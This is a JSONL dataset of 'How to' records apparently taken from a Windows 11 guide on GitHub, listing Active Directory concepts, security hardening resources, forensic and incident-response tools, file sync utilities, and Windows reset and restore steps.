{"id": "gh_b376a7e68054", "question": "How to: Setting up Active Directory", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\nActive Directory\n*  **[Active Directory](https://learn.microsoft.com/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview)** is a directory service developed by Microsoft for Windows domain networks. It is included in most Windows Server operating systems as a set of processes and services. \n \n * **[Microsoft 365](https://www.microsoft.com/microsoft-365)** is a subscription that includes the most collaborative, up-to-date features in one seamless, integrated experience. It includes productivity tools such as Microsoft Word, Excel, PowerPoint, Microsoft Teams, Outlook, OneDrive, and more all in one place. \n \n * **[Microsoft Entra ID (formerly Azure Active Directory)](https://learn.microsoft.com/entra/)** is a service that manages user identities and control access to your apps, data, and resources. It protects, monitors, and audits access to critical assets in your organization.\n \n * **[Active Directory Federation Services (AD FS)](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview)** allows you can employ single sign-on to external systems such as applications and websites. One typical example of the use of AD FS is Office 365. When a user signs in to Office 365, the user ID and password are redirected via the federation server to check whether the entered credentials are authentic against your On-prem AD. This is how it provides authentication to external systems through the local Active Directory.\n\n* **[Active Directory Lightweight Directory Services (AD LDS)](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh831593(v=ws.11))** is a service that offers directory services with the help of LDAP protocol without having to deploy any DCs. The service is used to provide directory service functionally to directory-enabled applications. \n\n * **[Active Directory Rights Management Services (AD RMS)](https://learn.microsoft.com/en-us/azure/information-protection/how-does-it-work)** is a service allows you to protect information within digital content. It secures the documents by defining which users can modify, open, view, print, forward, or take similar documents.\n\n**Hierarchical Structure of Active Directory Domain Services**\n\n * **[Tree](https://learn.microsoft.com/en-us/azure/azure-monitor/visualize/workbooks-tree-visualizations)** is formed by grouping one or more domains in a logical hierarchy. All domains within a tree are logically linked; hence they “trust” each other.\n * **[Forest](https://learn.microsoft.com/en-us/azure/architecture/reference-architectures/identity/adds-forest)** is a topmost level in the Active Directory of your organization. It contains one or more trees grouped. Trees within a forest are also said to “trust” each other and share catalogs, directory schemas, domain configurations, and application data.\n* **[Organizations Units (OU)](https://learn.microsoft.com/en-us/azure/active-directory-domain-services/create-ou)** are used to organize groups, users, computers, and other entities.\n* **[Containers](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/delegating-administration-of-default-containers-and-ous)**: is a tool similar to an OU; with the only difference is that you cannot link a GPO (Group Policy Object) to a generic container within AD.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521311"}
{"id": "gh_79c39e0f4bf5", "question": "How to: Active Directory Best Practices Security Resources", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "- [Microsoft - Best Practices for Securing Active Directory](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/best-practices-for-securing-active-directory)\n- [Microsoft - Best practices for securing Active Directory Federation Services](https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/deployment/best-practices-securing-ad-fs)\n- [ANSSI CERT-FR - Active Directory Security Assessment Checklist](https://www.cert.ssi.gouv.fr/uploads/guide-ad.html) - [other version with changelog](https://www.cert.ssi.gouv.fr/uploads/ad_checklist.html) - 2022 (English and French versions)\n- [Microsoft - Windows security baselines](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-security-baselines)\n- [Microsoft - Windows Server Security | Assurance](https://docs.microsoft.com/en-us/windows-server/security/security-and-assurance)\n- [Microsoft - Windows 10 Enterprise Security](https://docs.microsoft.com/en-us/windows/security/)\n- [ACSC - Securing PowerShell in the Enterprise](https://www.cyber.gov.au/publications/securing-powershell-in-the-enterprise)\n- [Awesome Windows Domain Hardening](https://github.com/PaulSec/awesome-windows-domain-hardening)\n- [Microsoft - How to detect, enable and disable SMBv1, SMBv2, and SMBv3 in Windows and Windows Server](https://support.microsoft.com/en-gb/help/2696547/detect-enable-disable-smbv1-smbv2-smbv3-in-windows-and-windows-server)\n- [Microsoft recommended block rules](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules) - List of applications or files that can be used by an attacker to circumvent application whitelisting policies.\n- [ERNW - IPv6 Hardening Guide for Windows Servers](https://www.ernw.de/download/ERNW_Guide_to_Configure_Securely_Windows_Servers_For_IPv6_v1_0.pdf)\n- [NSA - AppLocker Guidance](https://github.com/nsacyber/AppLocker-Guidance) - Configuration guidance for implementing application whitelisting with AppLocker.\n- [NSA - BitLocker Guidance](https://github.com/nsacyber/BitLocker-Guidance) - Configuration guidance for implementing disk encryption with BitLocker.\n- [NSA - Event Forwarding Guidance](https://github.com/nsacyber/Event-Forwarding-Guidance) - Configuration guidance for implementing collection of security relevant Windows Event Log events by using Windows Event Forwarding.\n- [Windows Defense in Depth Strategies](https://docs.google.com/document/d/1_43UroB0zY4-R2E2r_nH4ndYpDmXAY8g0oTp8yWlwBk/edit?usp=sharing) - work in progress.\n\n**Initial Setup Process**\nActive Directory Lifecycle", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521323"}
{"id": "gh_0496962f2c46", "question": "How to: Encryption Tools", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[BitLocker Drive Encryption](https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlocker-overview) is a data protection feature that integrates with the Windows operating system and addresses the threats of data theft or exposure from lost, stolen, or inappropriately decommissioned computers. BitLocker provides the most protection when used with a Trusted Platform Module (TPM) version 1.2 or later.\n\n[Folder Lock](https://www.newsoftwares.net/folderlock/) is an encryption tool that can Lock and Hide files and folders within seconds. It enables you to Password Protect and restricts the unwanted eyes from viewing files, folders and drives.\n[VeraCrypt](https://www.veracrypt.fr/code/VeraCrypt/) is free open-source disk encryption software for Windows, Mac OS X and Linux. The file encryption, data encryption performed by VeraCrypt is real-time (on-the-fly), automatic, transparent, needs very little memory, and does not involve temporary unencrypted files.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521339"}
{"id": "gh_7627e34cda2f", "question": "How to: Firewall Filtering", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to The Top](#table-of-contents)\n\n**Firewall** is a system that provides network security by filtering incoming and outgoing network traffic based on a set of user-defined rules. In general, the purpose of a firewall is to reduce or eliminate the occurrence of unwanted network communications while allowing all legitimate communication to flow freely.\n\n[GlassWire](https://www.glasswire.com/) is a personal Network Traffic Monitor and Firewall. It instantly see your current & past network activity. Detecting malware, and block badly behaving apps.\n[Simplewall](https://www.henrypp.org/product/simplewall) is a simple tool to configure Windows Filtering Platform (WFP) which can configure network activity on your computer. It's not a control UI over Windows Firewall, and does not interact in any level with Windows Firewall. It works over Windows Filtering Platform (WFP) which is a set of API and system services that provide a platform for creating network filtering applications.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521350"}
{"id": "gh_967f3071aa43", "question": "How to: Network Packet Filtering with eBPF", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n * **Packet filtering** is the process of passing or blocking data packets at a network interface by a firewall based on source and destination addresses, ports or protocols.\n\n[![eBPF for Windows – Dave Thaler, Microsoft](https://ytcards.demolab.com/?id=CEl29L2IDEo&lang=en&background_color=%230d1117&title_color=%23ffffff&stats_color=%23dedede&width=240 \"eBPF for Windows – Dave Thaler, Microsoft\")](https://www.youtube.com/watch?v=CEl29L2IDEo) \n[![Getting Linux Based eBPF Programs to Run with eBPF for Windows - Poorna Gaddehosur & Anurag Saxena](https://ytcards.demolab.com/?id=5koIhn3qlk4&lang=en&background_color=%230d1117&title_color=%23ffffff&stats_color=%23dedede&width=240 \"Getting Linux Based eBPF Programs to Run with eBPF for Windows - Poorna Gaddehosur & Anurag Saxena\")](https://www.youtube.com/watch?v=5koIhn3qlk4) \n[![Tutorial: Getting Started with eBPF - Liz Rice, Isovalent](https://ytcards.demolab.com/?id=TJgxjVTZtfw&lang=en&background_color=%230d1117&title_color=%23ffffff&stats_color=%23dedede&width=240 \"Tutorial: Getting Started with eBPF - Liz Rice, Isovalent\")](https://www.youtube.com/watch?v=TJgxjVTZtfw) \n[![eBPF Summit 2023](https://ytcards.demolab.com/?id=EViAho-6qoc&pp=ygUMZWJwZiB3aW5kb3dz&lang=en&background_color=%230d1117&title_color=%23ffffff&stats_color=%23dedede&width=240 \"eBPF Summit 2023\")](https://www.youtube.com/watch?v=EViAho-6qoc&pp=ygUMZWJwZiB3aW5kb3dz)\n\n[eBPF](https://ebpf.io/) is a technology that can run sandboxed programs in the operating system kernel without changing kernel source code or loading kernel modules. By making the operating system kernel programmable, infrastructure software can leverage existing layers, making them more intelligent and feature-rich without continuing to add additional layers of complexity to the system.\n**eBPF Architecture Overview. Credit: [eBPF.io](https://ebpf.io/)**\n\n[eBPF for Windows](https://github.com/microsoft/ebpf-for-windows) is an eBPF implementation that runs on top of Windows. eBPF is a well-known technology for providing programmability and agility, especially for extending an OS kernel, for use cases such as DoS protection and observability. \n\n* [Cilium L4 Load Balancer using eBPF-for-Windows](https://github.com/microsoft/ebpf-for-windows-demo/blob/main/cilium/load_balancer/docs/CiliumL4LBSetup.md)\n* [Connection Tracking with Native eBPF program using eBPF for Windows](https://github.com/microsoft/ebpf-for-windows-demo/blob/main/connection_tracker/README.md)\n**eBPF for Windows Architecture Overview. Credit: [Microsoft](https://cloudblogs.microsoft.com/opensource/2021/05/10/making-ebpf-work-on-windows/)**\n\n[XDP for Windows](https://github.com/microsoft/xdp-for-windows) is a Windows interface similar to XDP (eXpress Data Path), used to send and receive packets at high rates by bypassing most of the OS networking stack.\n\n * [Usage](https://github.com/microsoft/xdp-for-windows/blob/main/docs/usage.md)\n * [Development](https://github.com/microsoft/xdp-for-windows/blob/main/docs/development.md)\n * [AF_XDP API](https://github.com/microsoft/xdp-for-windows/blob/main/docs/afxdp.md)\n * [Release and Support](https://github.com/microsoft/xdp-for-windows/blob/main/docs/release.md)", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521363"}
{"id": "gh_0f0315386011", "question": "How to: Windows Forensic Analysis", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "**Windows Forensic Analysis** is the process of building in-depth digital forensics knowledge of Microsoft Windows operating system. \n\n - [SANS FOR500: Windows Forensic Analysis Course](https://www.sans.org/cyber-security-courses/windows-forensic-analysis/)\n\n**Forensic Tools**\n \n* [AChoir](https://github.com/OMENScan/AChoir) - Framework/scripting tool to standardize and simplify the process of scripting live acquisition utilities for Windows.\n* [Crowd Response](http://www.crowdstrike.com/community-tools/) - Lightweight Windows console application designed to aid in the gathering of system information for incident response and security engagements. It features numerous modules and output formats.\n* [DFIR ORC](https://dfir-orc.github.io/) - DFIR ORC is a collection of specialized tools dedicated to reliably parse and collect critical artifacts such as the MFT, registry hives or event logs. DFIR ORC collects data, but does not analyze it: it is not meant to triage machines. It provides a forensically relevant snapshot of machines running Microsoft Windows. The code can be found on [GitHub](https://github.com/DFIR-ORC/dfir-orc).\n* [FastIR Collector](https://github.com/SekoiaLab/Fastir_Collector) - Tool that collects different artifacts on live Windows systems and records the results in csv files. With the analyses of these artifacts, an early compromise can be detected.\n* [Fibratus](https://github.com/rabbitstack/fibratus) - Tool for exploration and tracing of the Windows kernel.\n* [Hoarder](https://github.com/muteb/Hoarder) - Collecting the most valuable artifacts for forensics or incident response investigations.\n* [IREC](https://binalyze.com/products/irec-free/) - All-in-one IR Evidence Collector which captures RAM Image, $MFT, EventLogs, WMI Scripts, Registry Hives, System Restore Points and much more. It is FREE, lightning fast and easy to use.\n* [Invoke-LiveResponse](https://github.com/mgreen27/Invoke-LiveResponse) -  Invoke-LiveResponse is a live response tool for targeted collection.\n* [IRTriage](https://github.com/AJMartel/IRTriage) - Incident Response Triage - Windows Evidence Collection for Forensic Analysis.\n* [KAPE](https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape) - Kroll Artifact Parser and Extractor (KAPE) by Eric Zimmerman. A triage tool that finds the most prevalent digital artifacts and then parses them quickly. Great and thorough when time is of the essence.  \n* [LOKI](https://github.com/Neo23x0/Loki) - Free IR scanner for scanning endpoint with yara rules and other indicators(IOCs).\n* [MEERKAT](https://github.com/TonyPhipps/Meerkat) - PowerShell-based triage and threat hunting for Windows.\n* [Panorama](https://github.com/AlmCo/Panorama) - Fast incident overview on live Windows systems.\n* [PowerForensics](https://github.com/Invoke-IR/PowerForensics) - Live disk forensics platform, using PowerShell.\n* [PSRecon](https://github.com/gfoss/PSRecon/) - PSRecon gathers data from a remote Windows host using PowerShell (v2 or later), organizes the data into folders, hashes all extracted data, hashes PowerShell and various system properties, and sends the data off to the security team. The data can be pushed to a share, sent over email, or retained locally.\n* [RegRipper](https://github.com/keydet89/RegRipper3.0) - Open source tool, written in Perl, for extracting/parsing information (keys, values, data) from the Registry and presenting it for analysis.\n* [VolDiff](https://github.com/aim4r/VolDiff) - Malware Memory Footprint Analysis based on Volatility.\n* [WindowsSCOPE](http://www.windowsscope.com/windowsscope-cyber-forensics/) - Memory forensics and reverse engineering tool used for analyzing volatile memory offering the capability of analyzing the Windows kernel, drivers, DLLs, and virtual and physical memory.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521379"}
{"id": "gh_968953252756", "question": "How to: Disk Image Creation Tools", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to Top](#table-of-contents)\n\n**Disk Image Creation** - is a process of Data backup and recovery where creating an image ensures that the original data on the disk is preserved. With an exact copy, you can extract the data from the disk image anytime you need.\n\n* [AccessData FTK Imager](https://accessdata.com/product-download/?/support/adownloads#FTKImager) - Forensics tool whose main purpose is to preview recoverable data from a disk of any kind. FTK Imager can also acquire live memory and paging file on 32bit and 64bit systems.\n* [Bitscout](https://github.com/vitaly-kamluk/bitscout) - Bitscout by Vitaly Kamluk helps you build your fully-trusted customizable LiveCD/LiveUSB image to be used for remote digital forensics (or perhaps any other task of your choice). It is meant to be transparent and monitorable by the owner of the system, forensically sound, customizable and compact.\n* [Magnet ACQUIRE](https://www.magnetforensics.com/magnet-acquire/) - ACQUIRE by Magnet Forensics allows various types of disk acquisitions to be performed on Windows, Linux, and OS X as well as mobile operating systems.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521385"}
{"id": "gh_a43202d44cda", "question": "How to: Evidence Collection", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to Top](#table-of-contents)\n\n**Evidence Collection** - is a set of protocols that apply to both pre-collection and post-collection evidence. This process helps with Preserving & Collecting Evidence making sure the evidence is not destroyed or devalued as a source of information.\n\n* [Acquire](https://github.com/fox-it/acquire) - Acquire is a tool to quickly gather forensic artifacts from disk images or a live system into a lightweight container. This makes Acquire an excellent tool to, among others, speedup the process of digital forensic triage. It uses [Dissect](https://github.com/fox-it/dissect) to gather that information from the raw disk, if possible.\n* [artifactcollector](https://github.com/forensicanalysis/artifactcollector) - The artifactcollector project provides a software that collects forensic artifacts on systems.\n* [bulk_extractor](https://github.com/simsong/bulk_extractor) - Computer forensics tool that scans a disk image, a file, or a directory of files and extracts useful information without parsing the file system or file system structures. Because of ignoring the file system structure, the program distinguishes itself in terms of speed and thoroughness.\n* [Cold Disk Quick Response](https://github.com/rough007/CDQR) - Streamlined list of parsers to quickly analyze a forensic image file (`dd`, E01, `.vmdk`, etc) and output nine reports.\n* [CyLR](https://github.com/orlikoski/CyLR) - The CyLR tool collects forensic artifacts from hosts with NTFS file systems quickly, securely and minimizes impact to the host.\n* [Forensic Artifacts](https://github.com/ForensicArtifacts/artifacts) - Digital Forensics Artifact Repository\n* [ir-rescue](https://github.com/diogo-fernan/ir-rescue) - Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response.\n* [Live Response Collection](https://www.brimorlabs.com/tools/) - Automated tool that collects volatile data from Windows, macOS, and \\*nix based operating systems.\n* [Margarita Shotgun](https://github.com/ThreatResponse/margaritashotgun) - Command line utility (that works with or without Amazon EC2 instances) to parallelize remote memory acquisition.\n* [UAC](https://github.com/tclahr/uac) - UAC (Unix-like Artifacts Collector) is a Live Response collection script for Incident Response that makes use of native binaries and tools to automate the collection of AIX, Android, ESXi, FreeBSD, Linux, macOS, NetBSD, NetScaler, OpenBSD and Solaris systems artifacts.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521394"}
{"id": "gh_4ecae2c36f59", "question": "How to: Incident Management", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to Top](#table-of-contents)\n\n**Incident Management** - is the process used by development and IT Operations teams to respond to an unplanned event or service interruption and restore the service to its operational state.\n\n* [Catalyst](https://github.com/SecurityBrewery/catalyst) - A free SOAR system that helps to automate alert handling and incident response processes.\n* [CyberCPR](https://www.cybercpr.com) - Community and commercial incident management tool with Need-to-Know built in to support GDPR compliance while handling sensitive incidents.\n* [Cyphon](https://medevel.com/cyphon/) - Cyphon eliminates the headaches of incident management by streamlining a multitude of related tasks through a single platform. It receives, processes and triages events to provide an all-encompassing solution for your analytic workflow — aggregating data, bundling and prioritizing alerts, and empowering analysts to investigate and document incidents.\n* [CORTEX XSOAR](https://www.paloaltonetworks.com/cortex/xsoar) - Paloalto security orchestration, automation and response platform with full Incident lifecycle management and many integrations to enhance automations.\n* [DFTimewolf](https://github.com/log2timeline/dftimewolf) - A framework for orchestrating forensic collection, processing and data export.\n* [DFIRTrack](https://github.com/dfirtrack/dfirtrack) - Incident Response tracking application handling one or more incidents via cases and tasks with a lot of affected systems and artifacts.\n* [Fast Incident Response (FIR)](https://github.com/certsocietegenerale/FIR/) - Cybersecurity incident management platform designed with agility and speed in mind. It allows for easy creation, tracking, and reporting of cybersecurity incidents and is useful for CSIRTs, CERTs and SOCs alike.\n* [RTIR](https://www.bestpractical.com/rtir/) - Request Tracker for Incident Response (RTIR) is the premier open source incident handling system targeted for computer security teams. We worked with over a dozen CERT and CSIRT teams around the world to help you handle the ever-increasing volume of incident reports. RTIR builds on all the features of Request Tracker.\n* [Sandia Cyber Omni Tracker (SCOT)](https://github.com/sandialabs/scot) - Incident Response collaboration and knowledge capture tool focused on flexibility and ease of use. Our goal is to add value to the incident response process without burdening the user.\n* [Shuffle](https://github.com/frikky/Shuffle) - A general purpose security automation platform focused on accessibility.\n* [threat_note](https://github.com/defpoint/threat_note) - Lightweight investigation notebook that allows security researchers the ability to register and retrieve indicators related to their research.\n* [Zenduty](https://www.zenduty.com) - Zenduty is a novel incident management platform providing end-to-end incident alerting, on-call management and response orchestration, giving teams greater control and automation over the incident management lifecycle.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521405"}
{"id": "gh_f2412fc8479d", "question": "How to: Sandboxing/Reversing Tools", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to Top](#table-of-contents)\n\n**Sandboxing** - is a security practice in which you use an isolated environment, or a \"sandbox,\" for testing. Within the sandbox you run code, analyze the code in a safe, isolated environment without affecting the application, system or platform.\n\n**Reverse-engineering** - is the process of dismantling a device, system, or piece of software to see how it works. It's done primarily to analyze and gain knowledge about the way a product works but often is used to duplicate or enhance the product.\n\n* [Any Run](https://app.any.run/) - Interactive online malware analysis service for dynamic and static research of most types of threats using any environment.\n* [CAPEv2](https://github.com/kevoreilly/CAPEv2) - Malware Configuration And Payload Extraction.\n* [Cutter](https://github.com/radareorg/cutter) - Reverse engineering platform powered by Radare2.\n* [Ghidra](https://github.com/NationalSecurityAgency/ghidra) - Software Reverse Engineering Framework.\n* [Hybrid-Analysis](https://www.hybrid-analysis.com/) - Free powerful online sandbox by CrowdStrike.\n* [Intezer](https://analyze.intezer.com/#/) - Intezer Analyze dives into Windows binaries to detect micro-code similarities to known threats, in order to provide accurate yet easy-to-understand results.\n* [Joe Sandbox (Community)](https://www.joesandbox.com/) - Joe Sandbox detects and analyzes potential malicious files and URLs on Windows, Android, MacOS, Linux, and iOS for suspicious activities; providing comprehensive and detailed analysis reports.\n* [Mastiff](https://github.com/KoreLogicSecurity/mastiff) - Static analysis framework that automates the process of extracting key characteristics from a number of different file formats.\n* [Metadefender Cloud](https://www.metadefender.com) - Free threat intelligence platform providing multiscanning, data sanitization and vulnerability assessment of files.\n* [Radare2](https://github.com/radareorg/radare2) - Reverse engineering framework and command-line toolset.\n* [Reverse.IT](https://www.reverse.it/) - Alternative domain for the Hybrid-Analysis tool provided by CrowdStrike.\n* [StringSifter](https://github.com/fireeye/stringsifter) - A machine learning tool that ranks strings based on their relevance for malware analysis.\n* [Threat.Zone](https://app.threat.zone) - Cloud based threat analysis platform which include sandbox, CDR and interactive analysis for researchers. \n* [Valkyrie Comodo](https://valkyrie.comodo.com) - Valkyrie uses run-time behavior and hundreds of features from a file to perform analysis.\n* [Viper](https://github.com/viper-framework/viper) - Python based binary analysis and management framework, that works well with Cuckoo and YARA.\n* [Virustotal](https://www.virustotal.com) - Free online service that analyzes files and URLs enabling the identification of viruses, worms, trojans and other kinds of malicious content detected by antivirus engines and website scanners.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521414"}
{"id": "gh_cb43420ea4e6", "question": "How to: File Sync/Transfer", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to Top](#table-of-contents)\n\n[Syncthing](https://syncthing.net/) is a continuous file synchronization program. It synchronizes files between two or more computers in real time.\n\n[TeraCopy](https://www.codesector.com/teracopy) is a program to copy and paste large files at a high speed. The program is used for frequent file transfers, large file sizes, moving files from separate SSD drives/Hard drives.\n\n[KDE Connect](https://kdeconnect.kde.org/) is a tool that lets you easily link up your phone to your computer, your computer to your tablet; or your computer to your Steam Deck device. It can be used to share files across devices, read and send SMS directly from your laptop, and lock up your computer remotely.\n\n[Open Cloud Saves](https://github.com/DavidDeSimone/OpenCloudSaves) is an open source application for managing your saves games across Windows, MacOS, and Linux (including SteamOS).\n\n[Seafile](https://www.seafile.com) is an open source file sync&share solution designed for high reliability, performance and productivity. Sync, share and collaborate across devices and teams. \n\n[Warpinator](https://github.com/linuxmint/warpinator) is a free, open-source tool for sending and receiving files between computers that are on the same network. \n\n[FileZilla Client](https://filezilla-project.org/) is a fast and reliable cross-platform FTP, FTPS and SFTP client with lots of useful features and an intuitive graphical user interface. \n\n[WinFsp](https://github.com/winfsp/winfsp) is a set of software components for Windows computers that allows the creation of user mode file systems. In this sense it is similar to FUSE (Filesystem in Userspace), which provides the same functionality on UNIX-like computers.\n\n[SSHFS-Win](https://github.com/winfsp/sshfs-win) is a minimal port of SSHFS to Windows. Looking under the hood it uses Cygwin for the POSIX environment and WinFsp for the FUSE (Filesystem in Userspace) functionality.\n\n[Synology](https://www.synology.com/) is a tool that allows you to easily access and manage files in your Synology Drive on the go. Apart from common file types, such as documents, images, videos and music, you can also open Synology Office document, spreadsheets and slides in the user-friendly viewer provided by Drive.\n\n[Nextcloud](http://nextcloud.com/) is a suite of client-server software for creating and using file hosting services. It offers an on-premise Universal File Access and sync platform with powerful collaboration capabilities and desktop, mobile and web interfaces. \n\n[FileRun](https://hub.docker.com/r/filerun/filerun) is a self-hosted Google Drive alternative. It is a full featured web based file manager with an easy to use user interface.\n\n[FileBrowser](https://hub.docker.com/r/filebrowser/filebrowser) provides a file managing interface within a specified directory and it can be used to upload, delete, preview, rename and edit your files. It allows the creation of multiple users and each user can have its own directory.\n\n[Rsync](https://rsync.samba.org/) is a utility in the command line which enables users to transfer and synchronize files efficiently between a computer and an external hard drive in the entire connected network.\n\n[rsync.net](https://rsync.net/) is a Cloud Storage for Offsite Backup that give you an empty UNIX filesystem to access with any SSH tool. Built on ZFS for data security and fault tolerance with support for rsync/sftp/scp/borg/rclone/restic/git-annex.\n\n[RiftShare](https://riftshare.app) is a cross platform (Windows, MacOS, Linux) file sharing tool that supports fully encrypted transfers both on the local network and off network using a simple passphrase. RiftShare uses [magic-wormhole](https://github.com/magic-wormhole/magic-wormhole) under the hood and is compatible with other magic-wormhole clients. It is also fully open source and licensed under the GPLv3. \n\n[Usermode FTP Server](https://gitlab.com/ergoithz/umftpd) is a tool that let's you start an FTP server as user and transfer files with any FTP client. Allowing you to access your files directly with many file browsers' builtin FTP support: Windows File Explorer, Thunar, Gnome Files, Dolphin and many more. \n\n[TagSpaces](https://www.tagspaces.org/) is a free, no vendor lock-in, open source application for organizing, annotating and managing local files with the help of tags. It features advanced note taking functionalities and some capabilities of to-do apps. It's available for Windows, Linux, Mac OS and Android.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521426"}
{"id": "gh_20f291b1438c", "question": "How to: Storage Disk Health/Data Recovery", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "[Back to the Top](#table-of-contents)\n\n[DiskMon](https://docs.microsoft.com/en-us/sysinternals/downloads/diskmon) is an application that logs and displays all hard disk activity on a Windows system.\n\n[WizTree](https://www.diskanalyzer.com/) is a Disk Space Analyzer tool that helps you find the files and folders using the most space on your hard drive quickly.\n\n[Disk Drill](https://www.cleverfiles.com/data-recovery-software.html) is a Data Recovery Software that recover any type of deleted files in Windows including Office documents, messages, and media files quickly and easily. Disk Drill for Windows is free data recovery software that restores deleted files from an HDD, USB drive or any kind of disk-based storage media. \n\n[Scrutiny](https://github.com/AnalogJ/scrutiny) is a WebUI tool for smartd [S.M.A.R.T monitoring](https://www.crucial.com/articles/about-ssd/smart-and-ssds), Historical Trends & Real World Failure Thresholds.\nScrutiny UI", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 1706, "answer_score": 10, "has_code": false, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521433"}
{"id": "gh_b69bdf67c00a", "question": "How to: Reset your Windows 11 system", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "**Resetting**, is a process that reinstalls Windows 11, but lets you choose whether to keep your files or remove them, and then reinstalls Windows. You can reset your PC from Settings, the sign-in screen, or by using a recovery drive or installation media.\n\n**Reset your PC from Settings**\n\n   1. Select Start > Settings  > System  > Recovery .\n2.  Next to **Reset this PC** , select **Reset PC**. Then, select Keep my files, choose cloud or local, change your settings, and set Restore preinstalled apps? or No.\n3. Click the Keep my files option.\n4.  * **Cloud download:** Download a fresh copy of the installation from the cloud and reinstall Windows 11. However, this option will not restore the tools, apps, and configuration that came with the original image provided by the manufacturer.\n       * **Local reinstall:** Uses the files already available to reset the computer. If this is a branded device (such as Dell, ASUS, Lenovo, etc.), this process will restore the factory drivers, settings, and tools.\n5. Click the Reset button.\n**Note:** You will need to do Sytem Updates when this process is finished.", "tags": ["mikeroyal"], "source": "github_gists", "category": "mikeroyal", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 1706, "answer_score": 10, "has_code": true, "url": "https://github.com/mikeroyal/Windows-11-Guide", "collected_at": "2026-01-17T13:01:14.521443"}
{"id": "gh_05410f968635", "question": "How to: Restore from System Restore Point", "question_body": "About mikeroyal/Windows-11-Guide", "answer": "This option takes your PC back to an earlier point in time, called a system restore point. Restore points are generated when you install a new app or driver, and when you create a restore point manually. Restoring won’t affect your personal files, but it will remove apps, drivers, and updates installed after the restore point was made.\n\n   1. In the search box on the taskbar, type control panel, and then choose it from the list of results\n\n   2. In the Control Panel search box, type recovery.\n\n   3. Select Recovery > Open System Restore.\n\n   4. In the Restore system files and settings box, select Next.\n\n   5. Select the restore point that you want to use in the list of results, and then select Scan for affected programs.\n\n   **Notes:**\n\n   * If you don’t see the restore point that you want to use, select the Show more restore points check box to see more restore points.\n\n   * If you’re not seeing any restore points, it might be because system protection isn’t turned on. Here’s how to check:\n\n        * In the search box on the taskbar, type control panel, and then choose it from the list of 